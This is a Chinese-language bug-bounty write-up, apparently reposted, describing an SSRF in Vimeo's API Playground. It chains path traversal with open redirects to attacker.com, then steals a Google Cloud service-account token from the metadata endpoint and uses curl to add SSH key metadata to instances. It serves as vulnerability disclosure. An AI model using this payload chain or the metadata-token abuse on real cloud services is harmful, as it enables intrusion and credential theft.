具有代码执行潜力的Vimeo SSRF

最近我在Vimeo上发现了一个半响应的SSRF代码执行的可能性。这篇博客文章解释了我是如何找到并利用它的。

背景

Vimeo为其API提供了一个名为API Playground的API控制台,使用此Web应用程序发出的请求是从服务器端完成的。以下面的请求为例:

 

 

 

 

 

 

 

这是它的基本请求

该请求应该是服务器端GET请求

https://api.vimeo.com/users/{user_id}/videos/{video_id}

如果仔细观察请求,我们在这里控制了很多东西,首先uri 是在端点上命中的终点参数,即在这种情况下是/users/{user_id}/videos/{video_id} ,请求方法,即在这种情况下设置为GET ,params应该是post参数if请求方法是POST。user_id和video_id是一种变量,其值在segments 参数中定义

在服务器端进行的HTTP请求中的路径遍历

我首先尝试将URI参数更改为自定义路径,但URI中的任何更改都将导致403,意味着它们允许使用一组API端点。但是,更改user_id和videos_id等变量的值是可能的,因为它们是有意的,因为这些值反映在URL的路径中。通过传递../../../将导致对api.vimeo.com根目录的请求,下面是发生的事情:

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

结果输出: https://api.vimeo.com/attacker

服务器端HTTP请求中的路径遍历

正如您在响应中看到的,列出了api.vimeo.com的所有端点,如果您发出经过身份验证的请求(带有授权头),则该端点是api.vimeo.com的根响应。

现在怎么办?我们仍然在api.vimeo.com主机上,我们如何摆脱它?

我认为这是在遵循HTTP30X重定向原则,这是一个很长的故事,需要一些逻辑思考。 

回到重点,现在我知道这是在遵循HTTP重定向,我们很好地向前推进,我们需要一个开放的重定向,以便我们可以将服务器重定向到我们的控制资产

新的发现

一分钟后我在其返回的内容里发现,在api.vimeo.com上遇到了一个端点,它使用我们在vimeo.com上控制的路径重定向到vimeo.com。

https://api.vimeo.com/m/something

现在我们有了一个广泛的范围来找到一个开放的重定向,我在vimeo.com上有一个不太有用的开放重定向,我不会透露它的细节,但我们假设它是这样的:

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

这会使302重定向到攻击者网站上。

如何使用URL重定向到攻击者网站?

将服务器重定向到我们受控攻击网站的最终payload是:

../../../m/vulnerable/open/redirect?url=https://attacker.com

在video_id中传递此值将以这种方式解析URL:

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

来看看哪个已经解析完成吧!

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

遵循并进行HTTP重定向

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

进行了另一次HTTP重定向

https://attacker.com

SSRF已实现,有关重定向的详细信息

服务器需要JSON响应并对其进行解析而且需要显示响应。

利用..

由于Vimeo基础设施在谷歌云上,我的第一次尝试是访问谷歌API,我采用了国外安全研究员公开的方法。这里不便抛出链接。

这里它为我们提供了帐户token:

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

token的使用范围:

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
 
返回值:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

然后我可以使用此令牌将我的公共SSH密钥添加到实例,然后通过我的私钥连接:

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}

返回值: 
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}  

然后……

bingo!!成功。

但是,ssh端口仅在内部网络上打开:(但这足以证明内部可以升级到shell访问。

 Kubernetes密钥也是从元数据API中提取的,但出于某种原因,我无法使用它们。

这就比较尴尬了。

原文地址:https://www.cnblogs.com/safoie/p/10521457.html